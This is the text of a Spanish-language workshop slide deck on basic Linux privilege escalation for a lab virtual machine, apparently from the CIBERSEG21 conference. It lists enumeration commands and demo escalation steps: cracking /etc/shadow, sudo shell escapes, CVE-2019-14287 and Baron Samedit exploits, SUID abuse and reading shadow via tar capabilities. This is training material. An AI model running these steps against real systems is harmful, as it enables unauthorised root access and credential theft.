Workshop Privesc Escalada de Privilegios Basica Linux CIBERSEG21

Privesc - Escalada de Privilegios básica en Linux
#CibersegVII
Track #Talleres

Disclaimer / Aviso Legal y Descargo de
Responsabilidad
>_1. El objetivo de este taller es mejorar nuestro
conocimientos de Ciberseguridad.
>_2. Los conocimientos que os vamos a intentar
transmitir, están dirigidos a una práctica ética, si
los usáis para practicas no adecuadas ni en
consonancia con la legislación sería únicamente
responsabilidad vuestra.
>_3. No nos hacemos responsables del mal uso que se le
pueda dar a las herramientas y habilidades que
mostremos.

>_ La asociación
Honey Sec es una asociación sin ánimo de lucro ubicada en la ciudad de
Guadalajara (España), que busca como objetivo fomentar buenas prácticas en
materia de seguridad informática y en el uso de las nuevas tecnologías. La
asociación está conformada por personas con un alto interés en temas de
ciberseguridad y que participan activamente en las distintas comunidades
establecidas a nivel nacional.

>_Privesc - Escalada de Privilegios básica en Linux
~# whoami
>_1Ꮩ４η Ꮢ @1r0Dm48O
>_Miembro de @HoneySec
>_Co-fundador de @H4ck3rs4FunCTF
>_Cibercooperante del @Incibe …
~#cat mission
Realizaremos algunas técnicas básicas de
escalado de privilegios en Linux…

>_Descargar .ova(MD5 b9ceb1bf1e0f55e8ed4da2598497dc41)
>_Importar maquina a VirtualBox
>_Misma Red Nat la maquina y nuestro Kali o Ubuntu
>_Tomar instantánea & RUN
~# cat deploy_machine (ciberseg21:PrivescLab)

>_Kernel exploits (DirtyCOW)
>_Programas ejecutándose “as root”
(GTFOBINS)
>_Vulns/Exploits servicios
>_Daemons (sshd,nfsd,apache2,exim)
>_Password Mining(Memory,Files,Hist…)
>_SUID/GUID malconfigurado
~# find . ways_to_privesc_Linux_1_2

>_Abuso “sudo-rights”
>_scripts editables “invoked by root”
>_Directorios/Files malconfigurados
>_cronjobs
>_Unmounted filesystems
~# find
ways_to_privesc_Linux_2_2

>_Read/Write/Delete any sensitive file
>_Persist easily between reboots
>_Insert a permanent backdoor
~# cat targets_privesc

>_Enumeración && Enumeración && Enum…
>_Analizar - Procesar los datos
>_Saber lo que buscar y buscar exploit
>_Adaptar el exploit (Customize)
>_Éxito y error
~# find . steps_to_privesc

$ cat /etc/issue $ cat /etc/*-release
$ cat /etc/lsb-release $ lsb-release
$ cat /proc/version $ uname –a
$ cat /etc/profile $ cat /etc/bashrc
$ cat ~/.bash_profile $ cat ~/.bashrc
$ cat ~/.bash_logout $ env $ set
~# cat enum os_env_privesc_Linux

$ ps aux $ ps -ef
$ top $ ps aux | grep root
$ ps -ef | grep root $ ls -alh /usr/bin/
$ ls -alh /sbin/
$ dpkg -l
~# cat enum app_serv_privesc_Linux

$ cat /etc/syslog.conf
$ cat /etc/chttp.conf
$ cat /etc/lighttpd.conf
$ cat /etc/cups/cupsd.conf
$ cat /etc/inetd.conf
$ cat /etc/apache2/apache2.conf
$ cat /etc/my.conf
$ cat /etc/httpd/conf/httpd.conf
$ cat /opt/lampp/etc/httpd.conf
$ ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
~# cat enum app_serv_privesc_Linux

>_SUID (Set User-ID) && GUID (Set Group-ID)
$ find / -perm /4000 2>/dev/null
$ find / -perm -2000 2>/dev/null
$ find / -perm -u=s -type f 2>/dev/null
$ find / -perm -g=s -type f 2>/dev/null
$ find / -perm 2 ! -type l –ls
$ find / -xdev (-perm 4000) -type f -print0 -exec ls -s {} ;
$ find / -user root -perm -4000 -exec ls -ldb {} ;
~# cat enum suid_guid_privesc_Linux

>_SUDO rigths
$ sudo –l
$ sudo –V
$ cat /etc/sudoers
$ sudoedit -s '' `python -c 'print("A"*1000)'`
$ sudoedit -s '' `perl -e 'print "A" x 65536'`
~# cat enum sudo_privesc_Linux

>_Scripts invoke to root
$ find / -writable -type d 2>/dev/null
$ find / -perm -222 -type d 2>/dev/null
$ find / -perm -o w -type d 2>/dev/null
$ find / -perm -o x -type d 2>/dev/null
$ find / ( -perm -o w -perm -o x ) -type d 2>/dev/null
~# cat enum scripst_privesc_Linux

$ ls –l /etc/shadow
$ ls –l /etc/passwd
$ find / -not -type l -perm -o+w
~# cat weak_perm_privesc_Linux

>_cronjob
$ crontab –l $ ls -la /etc/cron.d
$ find / -perm -2 -type f 2>/dev/null | grep cron
$ ls -alh /var/spool/cron $ ls -al /etc/ | grep cron
$ ls -al /etc/cron* $ cat /etc/cron*
$ cat /etc/at.allow $ cat /etc/at.deny
$ cat /etc/cron.allow $ cat /etc/cron.deny
$ cat /etc/crontab $ cat /etc/anacrontab
$ cat /var/spool/cron/crontabs/root
~# cat enum cronjob_privesc_Linux

$ cd /tmp
$ cd /var/tmp
$ cd /dev/shm
$ cd /var/spool/vbox
$ cd /var/spool/samba
~# cat enum usefull_paths_privesc_Linux

$ grep -i user [filename]
$ grep -i pass [filename]
$ grep -C 5 "password" [filename]
$ find . -name "*.php" -print0 | xargs -0 grep -i -n "var
$password"
~# cat enum passwords_privesc_Linux

$ /sbin/ifconfig –a $ cat /etc/network/interfaces
$ cat /etc/sysconfig/network
$ lsof -i $ lsof -i :80
$ grep 80 /etc/services $ netstat -antup
$ netstat –antpx $ netstat -tulpn
$ chkconfig –list $ chkconfig --list | grep 3:on
$ last $ w $ arp –a $ route $ /sbin/route -nee
$ cat /etc/resolv.conf $ cat /etc/sysconfig/network
$ cat /etc/networks $ iptables –L $ hostname $
dnsdomainname
~# cat enum network_privesc_Linux

>_LinEnum (https://github.com/rebootuser/LinEnum )
>_LinuxPrivChecker
(https://github.com/sleventyeleven/linuxprivchecker)
>_RootHelper (https://github.com/NullArray/RootHelper )
>_LinPEAS (https://github.com/carlospolop/privilege-
escalation-awesome-scripts-suite/tree/master/linPEAS)
>_linux-smart-enumeration (https://github.com/diego-
treitos/linux-smart-enumeration)
>_uptux (https://github.com/initstring/uptux)
>_post/multi/recon/local_exploit_suggester (Metasploit)
~# cat scripts_recon_privesc_Linux

>_Demo

1. Weak file/Dir permissions
ssh -p 20000 ciberseg@IP
Recon
$ ls –l /etc/shadow
$ ls –l /etc/passwd
Explota (Kali)
$ cat /etc/shadow
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
$ su root
~# cat lab_Linux (ciberseg:ciberseg)

1 Weak file/Dir permissions
Explota (rockyou)
$ ls -l /etc/shadow
$ mkpasswd -m sha-512 newpasswordhere
$ su root
------------
$ ls -l /etc/passwd
$ openssl passwd newpasswordhere
$ su root

2. Script as root & sudoers abusing
$ ssh -p 40000 ciberseg@IP
Recon
$ sudo –l
Explota
$ echo "/bin/bash -i" >>
$ chmod +x
$ sudo ./
----------

2. Script as root & Suders abusing
Explota
$ sudo vi -c '!bash‘
-----------
$ nano /var/opt/../../etc/sudoers
$ sudo –i
https://medium.com/schkn/linux-privilege-escalation-using-
text-editors-and-files-part-1-a8373396708d

3. CVE-2019-14287 sudoers
Recon
$ sudo –l
Explota
$ sudo -l
$ sudo -u#-1 /bin/bash
https://www.hackingarticles.in/sudo-security-policy-bypass-
vulnerability-cve-2019-14287/
https://www.sudo.ws/alerts/minus_1_uid.html

4. Perls explotation
Recon
$ sudo –l
Explota
$ sudo perl -e ‘exec "/bin/bash";‘
https://gtfobins.github.io/gtfobins/perl/#shell

5. Abusing SUID
Recon
$ find / -user root -perm -4000 -exec ls -ldb {} ;
Explota
$ touch ciberseg
find ciberseg -exec /bin/bash ; -quit
$ whoami
https://www.hackingarticles.in/linux-privilege-escalation-
using-suid-binaries/

6. CVE-2021-3156 sudo is vulnerable
Recon
$ sudo –V
Explota
$ Make
$ ./exploit
https://blog.qualys.com/vulnerabilities-
research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-
in-sudo-baron-samedit
https://github.com/CptGibbon/CVE-2021-3156

7. Capabilities
Recon
$ getcap -r / 2>/dev/null
$ which tar
Explota
$ sudo setcap cap_dac_read_search=ep /bin/tar
$ tar -cvf shadow_backup.tar /etc/shadow
$ ls -la shadow_backup.tar
$ tar -xzvf shadow_backup.tar

Thanks!
You can find me at @1r0Dm48O
👍

Workshop Privesc Escalada de Privilegios Basica Linux CIBERSEG21

Recomendados

Recomendados

Más contenido relacionado

La actualidad más candente

La actualidad más candente (8)

Similar a Workshop Privesc Escalada de Privilegios Basica Linux CIBERSEG21

Similar a Workshop Privesc Escalada de Privilegios Basica Linux CIBERSEG21 (20)

Último

Último (16)

Workshop Privesc Escalada de Privilegios Basica Linux CIBERSEG21